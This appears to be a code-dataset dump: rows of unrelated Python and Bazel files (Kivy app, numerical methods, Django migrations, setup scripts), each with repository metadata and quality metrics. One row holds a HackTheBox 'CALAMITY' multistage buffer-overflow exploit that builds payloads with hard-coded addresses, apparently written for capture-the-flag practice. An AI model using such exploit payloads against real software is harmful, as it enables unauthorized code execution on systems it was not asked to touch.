0.530806
139
1,055
4
0.359712
0.06295
0.059353
0.068345
0.215827
0.122302
0.122302
0.122302
0
0
0
0.019802
0.329858
1,055
52
53
20.288462
0.76662
0.280569
0
0.111111
0
0
0.003425
0
0
0
0
0.019231
0
1
0.111111
false
0
0
0
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
75e8ed1daa39ff38791d8a3ce3a65fbfba16d587
2,681
py
Python
source/main.py
GascaK/PiDio
805158e78b23f9fdd41858bf9bb9a82d48d9f169
[ "bzip2-1.0.6", "MIT" ]
1
2021-06-28T23:21:39.000Z
2021-06-28T23:21:39.000Z
source/main.py
GascaK/PiDio
805158e78b23f9fdd41858bf9bb9a82d48d9f169
[ "bzip2-1.0.6", "MIT" ]
null
null
null
source/main.py
GascaK/PiDio
805158e78b23f9fdd41858bf9bb9a82d48d9f169
[ "bzip2-1.0.6", "MIT" ]
null
null
null
import kivy kivy.require('2.0.0') from kivy.app import App from kivy.uix.screenmanager import ScreenManager, Screen from kivy.uix.gridlayout import GridLayout # Configuration files # import logging import etc.config as conf class PiDioGrid(Screen): def Radio(self): print('RadioScreen') ...
30.123596
83
0.596046
310
2,681
5.022581
0.390323
0.035967
0.034682
0.017983
0.062942
0.03982
0.03982
0.03982
0
0
0
0.001578
0.290936
2,681
89
84
30.123596
0.817464
0.072734
0
0
0
0
0.157256
0
0
0
0
0.022472
0
1
0.176471
false
0
0.117647
0
0.372549
0.117647
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
75ec2c033c60bb8ac06a04f84a0f1347d0268d22
836
py
Python
secante.py
AbeJLazaro/MetodosNumericos
f1a4aa6dbeb574edc6d7d55428bac44f37a006c9
[ "MIT" ]
null
null
null
secante.py
AbeJLazaro/MetodosNumericos
f1a4aa6dbeb574edc6d7d55428bac44f37a006c9
[ "MIT" ]
null
null
null
secante.py
AbeJLazaro/MetodosNumericos
f1a4aa6dbeb574edc6d7d55428bac44f37a006c9
[ "MIT" ]
null
null
null
#secante import math #funcion con la que se desarrolla el metodo #funcion es la función en terminos de x #a es un valor de x #b es un valor de x #iteraciones es la cantidad de iteraciones que realizará el metodo def secante(funcion,a,b,iteraciones): for i in range(iteraciones): x=a valorfa=eval(str...
28.827586
78
0.706938
144
836
4.104167
0.465278
0.025381
0.040609
0.043993
0.13198
0
0
0
0
0
0
0.007541
0.206938
836
29
79
28.827586
0.883861
0.559809
0
0
0
0
0.044818
0
0
0
0
0.034483
0
1
0.066667
false
0
0.066667
0
0.133333
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
75f0276f377e0442cdeed9a981c93ed6cff9dd8f
718
py
Python
setup.py
deeso/rest-service
f427a474f403fa6831a86c507ebfa252375a3d50
[ "Apache-2.0" ]
null
null
null
setup.py
deeso/rest-service
f427a474f403fa6831a86c507ebfa252375a3d50
[ "Apache-2.0" ]
null
null
null
setup.py
deeso/rest-service
f427a474f403fa6831a86c507ebfa252375a3d50
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python from setuptools import setup, find_packages import os data_files = [(d, [os.path.join(d, f) for f in files]) for d, folders, files in os.walk(os.path.join('src', 'config'))] setup(name='rest-service', version='1.0', description='boiler plate rest service', autho...
34.190476
98
0.600279
88
718
4.818182
0.670455
0.056604
0.04717
0
0
0
0
0
0
0
0
0.007168
0.222841
718
20
99
35.9
0.752688
0.027855
0
0
0
0
0.322812
0.037303
0
0
0
0
0
1
0
false
0.066667
0.133333
0
0.133333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
75f434c53932b5871577e9c1f8076b68e45001cb
233
py
Python
icarus_nmr/examples/device_client.py
vstadnytskyi/icarus-nmr
9f86ebb66256482023df4c15e552a5dd5573d3ba
[ "BSD-3-Clause" ]
1
2022-02-07T22:05:17.000Z
2022-02-07T22:05:17.000Z
icarus_nmr/examples/device_client.py
vstadnytskyi/icarus-nmr
9f86ebb66256482023df4c15e552a5dd5573d3ba
[ "BSD-3-Clause" ]
25
2019-10-16T13:58:09.000Z
2022-02-08T21:34:24.000Z
icarus_nmr/examples/device_client.py
vstadnytskyi/icarus-nmr
9f86ebb66256482023df4c15e552a5dd5573d3ba
[ "BSD-3-Clause" ]
1
2022-02-07T22:05:27.000Z
2022-02-07T22:05:27.000Z
from caproto.threading.client import Context ctx = Context() ca_name = 'device_dl:' dio,data,queue_length,packet_shape = ctx.get_pvs(f'{ca_name}dio', f'{ca_name}data', f'{ca_name}queue_length', f'{ca_name}packet_shape',)
29.125
65
0.725322
39
233
4.051282
0.512821
0.189873
0.177215
0
0
0
0
0
0
0
0
0
0.120172
233
7
66
33.285714
0.770732
0
0
0
0
0
0.330472
0.180258
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75fae6890c5076daa69a5474ea63de9bd4cfea83
519
py
Python
1045.py
oliveiraeverton/uri
91e87dd1c9d18facd0b276d73caf53ed41d8eaea
[ "MIT" ]
null
null
null
1045.py
oliveiraeverton/uri
91e87dd1c9d18facd0b276d73caf53ed41d8eaea
[ "MIT" ]
null
null
null
1045.py
oliveiraeverton/uri
91e87dd1c9d18facd0b276d73caf53ed41d8eaea
[ "MIT" ]
null
null
null
#ENTRADA DE VALORES lista = list(map(float, input().split())) #ORGANIZANDO A LISTA PARA QUE O PRIMEIRO ELEMENTO SEJA O MAIOR VALOR lista.sort(reverse=True) a, b, c = lista[0], lista[1], lista[2] if a >= b+c: print("NAO FORMA TRIANGULO") elif a**2 == b**2 + c**2: print("TRIANGULO RETANGULO") elif a**2 > b**2 + c**...
25.95
68
0.645472
91
519
3.681319
0.428571
0.208955
0.026866
0.062687
0.274627
0.214925
0.214925
0.214925
0.214925
0
0
0.027842
0.169557
519
19
69
27.315789
0.74942
0.163776
0
0
0
0
0.273148
0
0
0
0
0
0
1
0
false
0
0
0
0
0.4
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
75fb6b325f04bfc07a2f2feb8fa4f08a1ef504b5
9,614
py
Python
tests/convenience_Horizons.py
Smithsonian/cheby_checker
ce1542e4b1b3303ac08ea823be1eaec06322fd48
[ "MIT" ]
1
2020-03-05T15:20:30.000Z
2020-03-05T15:20:30.000Z
tests/convenience_Horizons.py
Smithsonian/cheby_checker
ce1542e4b1b3303ac08ea823be1eaec06322fd48
[ "MIT" ]
null
null
null
tests/convenience_Horizons.py
Smithsonian/cheby_checker
ce1542e4b1b3303ac08ea823be1eaec06322fd48
[ "MIT" ]
2
2020-02-04T15:26:08.000Z
2020-02-04T18:23:13.000Z
""" Some convenience classes/functions for querying Horizons Helps with tests of accuracy in various functions """ # import standard packages # ----------------------------------------------------------------------------- import numpy as np # import third-party packages # ---------------------------------------------...
43.7
87
0.589973
1,240
9,614
4.520161
0.358065
0.012489
0.017841
0.018555
0.36521
0.309902
0.276717
0.254951
0.254951
0.243176
0
0.1554
0.212191
9,614
219
88
43.899543
0.584632
0.813189
0
0.0625
0
0
0.027171
0
0
0
0
0
0
1
0.125
false
0
0.0625
0
0.34375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f92e18877c0266886e10973e6ec86f132783584b
420
py
Python
registry/smart_contract/migrations/0008_useraccept_company.py
RustamSultanov/Python-test-registry-
1d779a8135567a0b3aeca0151b2d7f0905014e88
[ "MIT" ]
1
2019-01-16T14:52:37.000Z
2019-01-16T14:52:37.000Z
registry/smart_contract/migrations/0008_useraccept_company.py
RustamSultanov/Python-test-registry-
1d779a8135567a0b3aeca0151b2d7f0905014e88
[ "MIT" ]
8
2019-10-21T16:18:33.000Z
2021-06-08T20:33:14.000Z
registry/smart_contract/migrations/0008_useraccept_company.py
RustamSultanov/Python-test-registry-
1d779a8135567a0b3aeca0151b2d7f0905014e88
[ "MIT" ]
null
null
null
# Generated by Django 2.0.7 on 2018-07-16 09:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('smart_contract', '0007_useraccept_failure'), ] operations = [ migrations.AddField( model_name='useraccept', name='co...
22.105263
74
0.616667
46
420
5.521739
0.826087
0
0
0
0
0
0
0
0
0
0
0.071661
0.269048
420
18
75
23.333333
0.7557
0.107143
0
0
1
0
0.144772
0.061662
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f932740dab6071eb662e1db75adcafd2d396c7a2
1,008
py
Python
allauth/socialaccount/providers/snapchat/tests.py
NickNaskida/django-allauth
5c302ef0b5ca983d62023bc1041eaeac535b2f87
[ "MIT" ]
null
null
null
allauth/socialaccount/providers/snapchat/tests.py
NickNaskida/django-allauth
5c302ef0b5ca983d62023bc1041eaeac535b2f87
[ "MIT" ]
9
2022-02-04T17:03:01.000Z
2022-03-30T08:44:48.000Z
allauth/socialaccount/providers/snapchat/tests.py
stungkit/django-allauth
7c50e111078e481aa65804f88f2366a3c013b909
[ "MIT" ]
null
null
null
from allauth.socialaccount.tests import OAuth2TestsMixin from allauth.tests import MockedResponse, TestCase from .provider import SnapchatProvider class SnapchatOAuth2Tests(OAuth2TestsMixin, TestCase): provider_id = SnapchatProvider.id def get_mocked_response(self): return MockedResponse( ...
37.333333
199
0.554563
68
1,008
8.147059
0.735294
0.039711
0.187726
0
0
0
0
0
0
0
0
0.081288
0.353175
1,008
26
200
38.769231
0.768405
0.003968
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0
0.3
0.1
0.7
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f93bc96e9c2b89fbdacdd5fff8c882de3b597970
1,500
py
Python
Machines/CALAMITY/exploit/bof_multistage.py
limitedeternity/HackTheBox
ed8d6fc7ff7b880b1961098bedca1fc5fdf7fd09
[ "MIT" ]
null
null
null
Machines/CALAMITY/exploit/bof_multistage.py
limitedeternity/HackTheBox
ed8d6fc7ff7b880b1961098bedca1fc5fdf7fd09
[ "MIT" ]
null
null
null
Machines/CALAMITY/exploit/bof_multistage.py
limitedeternity/HackTheBox
ed8d6fc7ff7b880b1961098bedca1fc5fdf7fd09
[ "MIT" ]
3
2021-12-29T10:39:01.000Z
2022-03-29T22:56:40.000Z
# coding: utf-8 import struct def p32(x): return struct.pack('<L', x) # ============= STAGE 0 ================= buf_size = 8 ebx_addr = 0x80002ff8 payload0 = "\x41" * buf_size payload0 += p32(ebx_addr) stage0 = open("/tmp/stage0", "wb") stage0.write(payload0) stage0.close() print "Use /tmp/stage0" # =========...
23.076923
162
0.652667
213
1,500
4.516432
0.431925
0.043659
0.031185
0.049896
0
0
0
0
0
0
0
0.131298
0.126667
1,500
64
163
23.4375
0.60229
0.138
0
0.046512
0
0.023256
0.229992
0.114996
0
0
0.047397
0
0
0
null
null
0
0.023256
null
null
0.069767
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f93cb599d97197021a1f0ccc071614d763700361
837
py
Python
setup.py
heftyy/nagios-plugins
b5bcc5e9b39f04c1519e95166b87875e2684d879
[ "Apache-2.0" ]
null
null
null
setup.py
heftyy/nagios-plugins
b5bcc5e9b39f04c1519e95166b87875e2684d879
[ "Apache-2.0" ]
null
null
null
setup.py
heftyy/nagios-plugins
b5bcc5e9b39f04c1519e95166b87875e2684d879
[ "Apache-2.0" ]
null
null
null
from setuptools import setup setup( name="appname", version="100", description="yadda yadda", author="myself and I", author_email="email@someplace.com", url="whatever", # Name the folder where your packages live: # (If you have other packages (dirs) or mo...
32.192308
77
0.563919
90
837
5.2
0.788889
0.055556
0
0
0
0
0
0
0
0
0
0.005291
0.322581
837
25
78
33.48
0.820106
0.309438
0
0
0
0
0.289474
0.036842
0
0
0
0
0
1
0
true
0
0.058824
0
0.058824
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
f93de8fa5cd89d34f39ec69facc41c3b9d790a6a
495
py
Python
news/migrations/0005_newspage_categories.py
ahuimanu/ccf
d50104aff3b98da83b564f2f9c614e45b9d75205
[ "MIT" ]
null
null
null
news/migrations/0005_newspage_categories.py
ahuimanu/ccf
d50104aff3b98da83b564f2f9c614e45b9d75205
[ "MIT" ]
1
2020-10-06T20:34:11.000Z
2020-10-06T20:34:11.000Z
news/migrations/0005_newspage_categories.py
ahuimanu/ccf
d50104aff3b98da83b564f2f9c614e45b9d75205
[ "MIT" ]
null
null
null
# Generated by Django 3.1.8 on 2021-04-29 14:53 from django.db import migrations import modelcluster.fields class Migration(migrations.Migration): dependencies = [ ("news", "0004_newscategory_newstagindexpage"), ] operations = [ migrations.AddField( model_name="newspage", ...
22.5
62
0.610101
46
495
6.5
0.782609
0.120401
0
0
0
0
0
0
0
0
0
0.053977
0.288889
495
21
63
23.571429
0.795455
0.090909
0
0.133333
1
0
0.162946
0.075893
0
0
0
0
0
1
0
false
0
0.133333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f9424eaba1393031aaae24f5925cc28b5f134bde
720
py
Python
swarms/delete.py
swarms/python-client
d5b39b5304143266da48c9900c1b605e37e96912
[ "MIT" ]
5
2017-11-07T19:34:57.000Z
2017-11-15T12:07:29.000Z
swarms/delete.py
swarms/python-client
d5b39b5304143266da48c9900c1b605e37e96912
[ "MIT" ]
5
2017-11-22T12:24:37.000Z
2018-02-10T15:31:21.000Z
swarms/delete.py
swarms/python-client
d5b39b5304143266da48c9900c1b605e37e96912
[ "MIT" ]
2
2018-02-10T15:14:10.000Z
2018-04-17T08:11:52.000Z
import config from sdk import services, exceptions # sys.exit("You'll have to comment out this line to be able to delete all your stuff...") campaigns, jobs, tasks, results = services.get(config) for task in tasks.get_all(): print("deleting task %i: %s" % (task["id"], task["name"])) tasks.delete(task) for ...
27.692308
89
0.661111
101
720
4.683168
0.475248
0.038055
0.069767
0.120507
0
0
0
0
0
0
0
0
0.194444
720
25
90
28.8
0.815517
0.183333
0
0
0
0
0.138462
0
0
0
0
0
0
1
0
false
0.0625
0.125
0
0.125
0.1875
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f947aa3b41459c5b130163b2377dc9cd6a4dee22
2,141
py
Python
radicalsdk/beamformers.py
moodoki/radical_sdk
4438678cf73e156e5058ddb035ec8e5875fca84e
[ "Apache-2.0" ]
7
2021-05-20T01:12:39.000Z
2021-12-30T12:38:07.000Z
radicalsdk/beamformers.py
moodoki/radical_sdk
4438678cf73e156e5058ddb035ec8e5875fca84e
[ "Apache-2.0" ]
null
null
null
radicalsdk/beamformers.py
moodoki/radical_sdk
4438678cf73e156e5058ddb035ec8e5875fca84e
[ "Apache-2.0" ]
null
null
null
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/06_beamformers.ipynb (unless otherwise specified). __all__ = ['cov_matrix', 'forward_backward_avg', 'aoa_capon'] # Cell import tensorflow as tf import tensorflow.linalg as linalg # Cell def cov_matrix(x): """Computes the covariance matrix $R_{xx}$ on signal `x` ...
30.585714
121
0.650163
331
2,141
4.054381
0.456193
0.026826
0.040238
0.031297
0.04918
0
0
0
0
0
0
0.024304
0.21205
2,141
70
122
30.585714
0.771191
0.483886
0
0
1
0
0.061947
0
0
0
0
0
0
1
0.107143
false
0
0.071429
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f94a0d16d73dc7a3d2bd16e837a8467552de4622
385
py
Python
molecule/default/tests/test_tomb.py
msheiny/ansible-role-tomb
7ad0ebba70ae52b7d80f43ee3daee1fba7575d81
[ "BSD-3-Clause" ]
null
null
null
molecule/default/tests/test_tomb.py
msheiny/ansible-role-tomb
7ad0ebba70ae52b7d80f43ee3daee1fba7575d81
[ "BSD-3-Clause" ]
null
null
null
molecule/default/tests/test_tomb.py
msheiny/ansible-role-tomb
7ad0ebba70ae52b7d80f43ee3daee1fba7575d81
[ "BSD-3-Clause" ]
null
null
null
import os import testinfra.utils.ansible_runner testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner( os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all') def test_tomb_functional(host): """ Is tomb installed ? Let's just try running basic dig command """ host.run('tomb dig -s 10 /tmp/d...
22.647059
68
0.716883
54
385
4.962963
0.666667
0.104478
0.156716
0.201493
0
0
0
0
0
0
0
0.006211
0.163636
385
16
69
24.0625
0.826087
0.155844
0
0
0
0
0.207668
0.073482
0
0
0
0
0.125
1
0.125
false
0
0.25
0
0.375
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f94dacc4042de11612baefd7aa125dcd5bbfcaa0
11,668
py
Python
agent.py
gaozhen123456/joint-computation-offloading-and-resource-allocation
13e68b71c8e9ae7347a82294a355266c3ce28a81
[ "MIT" ]
7
2021-05-09T23:33:05.000Z
2022-03-15T07:22:54.000Z
agent.py
3025066980/joint-computation-offloading-and-resource-allocation
13e68b71c8e9ae7347a82294a355266c3ce28a81
[ "MIT" ]
1
2021-06-23T07:27:42.000Z
2021-08-12T01:24:20.000Z
agent.py
3025066980/joint-computation-offloading-and-resource-allocation
13e68b71c8e9ae7347a82294a355266c3ce28a81
[ "MIT" ]
4
2021-08-12T01:24:26.000Z
2022-02-20T09:12:41.000Z
# -*- coding: utf-8 -*- """ Author:fenghao Date:2020.2.14 Location:BUPT """ import copy import numpy as np from numpy import pi from collections import namedtuple from random import random, uniform, choice, randrange, sample import torch from torch import optim import torch.nn as nn from torch.autograd import Variable...
56.640777
3,077
0.450806
1,121
11,668
4.512043
0.21231
0.019375
0.023725
0.01898
0.219257
0.163503
0.138197
0.115461
0.115461
0.115461
0
0.014147
0.479002
11,668
205
3,078
56.917073
0.817898
0.365872
0
0.120567
0
0
0.005588
0
0
0
0
0
0
1
0.099291
false
0
0.078014
0.021277
0.255319
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f953d3cfd93624f04ccfa894e90a1209b4799577
1,519
py
Python
tests/test_ref.py
aristoteleo/dynast-release
b676c7075b2907ebce7833dd668f32bc1c60d08e
[ "MIT" ]
7
2021-04-03T16:36:17.000Z
2022-03-15T21:27:41.000Z
tests/test_ref.py
aristoteleo/dynast-release
b676c7075b2907ebce7833dd668f32bc1c60d08e
[ "MIT" ]
5
2021-04-28T15:25:45.000Z
2021-12-09T00:05:07.000Z
tests/test_ref.py
aristoteleo/dynast-release
b676c7075b2907ebce7833dd668f32bc1c60d08e
[ "MIT" ]
3
2021-04-03T23:38:32.000Z
2022-03-03T11:06:17.000Z
import os from unittest import mock, TestCase import dynast.ref as ref from tests import mixins class TestRef(mixins.TestMixin, TestCase): def test_STAR_genomeGenerate(self): with mock.patch('dynast.ref.utils.get_STAR_binary_path', return_value='path/to/STAR'), \ mock.patch('dynast.ref.util...
33.021739
116
0.500329
147
1,519
5.027211
0.455782
0.056834
0.044655
0.048714
0.062246
0
0
0
0
0
0
0.018008
0.378539
1,519
45
117
33.755556
0.764831
0.010533
0
0.105263
1
0
0.233844
0.075283
0
0
0
0
0.052632
1
0.026316
false
0
0.105263
0
0.157895
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f95455050721dfe69eddbe5d149b4f5783611f41
396
py
Python
blog/admin.py
ahmedbatty/portfolio
be87af789c3821ff527fc0da63c58179e9ff767d
[ "MIT" ]
null
null
null
blog/admin.py
ahmedbatty/portfolio
be87af789c3821ff527fc0da63c58179e9ff767d
[ "MIT" ]
5
2020-09-23T12:52:35.000Z
2022-03-12T00:20:42.000Z
blog/admin.py
ahmedbatty/portfolio
be87af789c3821ff527fc0da63c58179e9ff767d
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Blog class BlogAdmin(admin.ModelAdmin): fieldsets = [ (None, {'fields': ['title', 'body', 'image', 'is_active']}), ] list_display = ('id', 'title', 'pub_date', 'is_active') list_display_links = ('title',) search_fields = ('tit...
20.842105
62
0.606061
44
396
5.295455
0.636364
0.094421
0.128755
0.16309
0
0
0
0
0
0
0
0
0.214646
396
18
63
22
0.749196
0
0
0
0
0
0.174242
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.666667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f95ea44c02bf8aba134962292add9c9b402236de
1,575
py
Python
Pivot Table.py
Millitesla/Retina_Python_Tools
2dc2d7ed07deb85829ec575562a58db2844d20ee
[ "MIT" ]
1
2019-11-24T06:59:28.000Z
2019-11-24T06:59:28.000Z
Pivot Table.py
Millitesla/Retina_Python_Tools
2dc2d7ed07deb85829ec575562a58db2844d20ee
[ "MIT" ]
null
null
null
Pivot Table.py
Millitesla/Retina_Python_Tools
2dc2d7ed07deb85829ec575562a58db2844d20ee
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Jul 3 18:19:13 2017 @author: ruff """ import seaborn as sns import neurom as nm import pandas as pd import glob import math import matplotlib.pyplot as plt import os import numpy as np import pylab as p from scipy import misc from __future__ import pr...
33.510638
108
0.735238
272
1,575
4.194853
0.382353
0.063103
0.038563
0.052585
0.463628
0.463628
0.454864
0.420684
0.420684
0.420684
0
0.025733
0.111746
1,575
46
109
34.23913
0.78985
0.098413
0
0.133333
0
0
0.175887
0.019149
0
0
0
0
0
1
0
false
0
0.633333
0
0.633333
0.033333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
f9697ebe3ad9ba036edadd88919f1e5570252673
227
py
Python
Python/PycharmProjects/aula16/desafio 077.py
MarcelaSamili/Desafios-do-curso-de-Python
f331e91821c0c25b3e32d2075254ef650292f280
[ "MIT" ]
null
null
null
Python/PycharmProjects/aula16/desafio 077.py
MarcelaSamili/Desafios-do-curso-de-Python
f331e91821c0c25b3e32d2075254ef650292f280
[ "MIT" ]
null
null
null
Python/PycharmProjects/aula16/desafio 077.py
MarcelaSamili/Desafios-do-curso-de-Python
f331e91821c0c25b3e32d2075254ef650292f280
[ "MIT" ]
null
null
null
nome = 'fazenda', 'caro', 'notebook', 'agua', 'helicoptero', 'aviao' for n in nome: print(f'\no nome {n} tem as vogais:', end=' ') for vogal in n: if vogal.lower() in 'aeiou': print(vogal, end=' ')
28.375
68
0.54185
32
227
3.84375
0.65625
0
0
0
0
0
0
0
0
0
0
0
0.264317
227
7
69
32.428571
0.736527
0
0
0
0
0
0.323009
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f96a6ac43d007cff217c0c507679b5dee120fa4c
433
bzl
Python
vulkan/repositories.bzl
PellEngine/rules_vulkan
e0c433008e262db840f6977cff136153224d669a
[ "MIT" ]
null
null
null
vulkan/repositories.bzl
PellEngine/rules_vulkan
e0c433008e262db840f6977cff136153224d669a
[ "MIT" ]
null
null
null
vulkan/repositories.bzl
PellEngine/rules_vulkan
e0c433008e262db840f6977cff136153224d669a
[ "MIT" ]
null
null
null
load("@rules_vulkan//glsl:repositories.bzl", "glsl_repositories") load("@rules_vulkan//vulkan/platform:windows.bzl", "vulkan_windows") load("@rules_vulkan//vulkan/platform:linux.bzl", "vulkan_linux") def vulkan_repositories(): """Loads the required repositories into the workspace """ vulkan_windows( ...
24.055556
68
0.690531
48
433
5.979167
0.333333
0.094077
0.156794
0.146341
0.202091
0
0
0
0
0
0
0
0.17321
433
17
69
25.470588
0.801676
0.115473
0
0
0
0
0.502688
0.317204
0
0
0
0
0
1
0.090909
true
0
0
0
0.090909
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
f96bf5c42e9169d87d8ad8f961af25aa91181450
534
py
Python
saas/backend/apps/policy/migrations/0008_auto_20211103_1458.py
huangpeng0428/bk-iam-saas
c7e1cd5cf4eef7d6882cac1951eef2669d61587e
[ "MIT" ]
7
2021-08-13T03:48:16.000Z
2021-12-20T15:31:38.000Z
saas/backend/apps/policy/migrations/0008_auto_20211103_1458.py
huangpeng0428/bk-iam-saas
c7e1cd5cf4eef7d6882cac1951eef2669d61587e
[ "MIT" ]
456
2021-08-16T02:13:57.000Z
2022-03-30T10:02:49.000Z
saas/backend/apps/policy/migrations/0008_auto_20211103_1458.py
huangpeng0428/bk-iam-saas
c7e1cd5cf4eef7d6882cac1951eef2669d61587e
[ "MIT" ]
17
2021-08-10T04:08:46.000Z
2022-03-14T14:24:36.000Z
# Generated by Django 2.2.24 on 2021-11-03 06:58 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('policy', '0007_delete_attachpolicy'), ] operations = [ migrations.RemoveField( model_name='policy', name='_environm...
23.217391
83
0.586142
53
534
5.754717
0.735849
0.059016
0.098361
0.12459
0
0
0
0
0
0
0
0.058355
0.294007
534
22
84
24.272727
0.750663
0.086142
0
0.25
1
0
0.141975
0.049383
0
0
0
0
0
1
0
false
0
0.0625
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f97b4b53db69d6a02617274f3b23edd4b82a06cc
1,120
py
Python
_pytest/test_utils.py
saiganeshsunkari/rasa_nlu
306d4d5e27ead1368fa6d7aa54091dd637d00765
[ "Apache-2.0" ]
4
2017-07-20T03:06:29.000Z
2021-04-20T03:25:17.000Z
_pytest/test_utils.py
saiganeshsunkari/rasa_nlu
306d4d5e27ead1368fa6d7aa54091dd637d00765
[ "Apache-2.0" ]
null
null
null
_pytest/test_utils.py
saiganeshsunkari/rasa_nlu
306d4d5e27ead1368fa6d7aa54091dd637d00765
[ "Apache-2.0" ]
2
2018-04-30T05:45:59.000Z
2021-04-21T10:00:04.000Z
from __future__ import unicode_literals from __future__ import print_function from __future__ import division from __future__ import absolute_import import pytest from rasa_nlu.utils import relative_normpath, recursively_find_files, create_dir, ordered def test_relative_normpath(): assert relative_normpath("/my...
32
89
0.7375
160
1,120
4.85
0.425
0.096649
0.128866
0.036082
0.313144
0.208763
0.14433
0.14433
0.14433
0
0
0.008412
0.150893
1,120
34
90
32.941176
0.807571
0.028571
0
0.090909
0
0
0.121547
0.020258
0
0
0
0
0.272727
1
0.227273
false
0
0.272727
0
0.5
0.045455
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
f97db19ad9df8c6a543c7bc2616c1b01e4861be7
1,060
py
Python
scripts/LandOrSea.py
WorldViews/Spirals
7efe2d145298a53c9d79db73b79428efff1e0908
[ "MIT" ]
null
null
null
scripts/LandOrSea.py
WorldViews/Spirals
7efe2d145298a53c9d79db73b79428efff1e0908
[ "MIT" ]
2
2021-02-08T20:23:17.000Z
2021-04-30T20:42:00.000Z
scripts/LandOrSea.py
WorldViews/Spirals
7efe2d145298a53c9d79db73b79428efff1e0908
[ "MIT" ]
2
2016-05-26T20:24:00.000Z
2019-08-01T03:11:49.000Z
import urllib2 from StringIO import StringIO from PIL import Image WATER_COLOR = (226, 232, 220) #URL = "http://maps.googleapis.com/maps/api/staticmap?center=%(lat)s,%(lon)s&zoom=5&size=500x500&maptype=roadmap&sensor=false" URL = "http://maps.googleapis.com/maps/api/staticmap?center=%(lat)s,%(lon)s&zoom=5&size=%(siz...
25.853659
135
0.624528
164
1,060
3.97561
0.432927
0.03681
0.033742
0.064417
0.193252
0.193252
0.193252
0.193252
0.193252
0.193252
0
0.050058
0.189623
1,060
40
136
26.5
0.708964
0.234906
0
0
0
0.038462
0.184309
0
0
0
0
0
0
0
null
null
0
0.115385
null
null
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
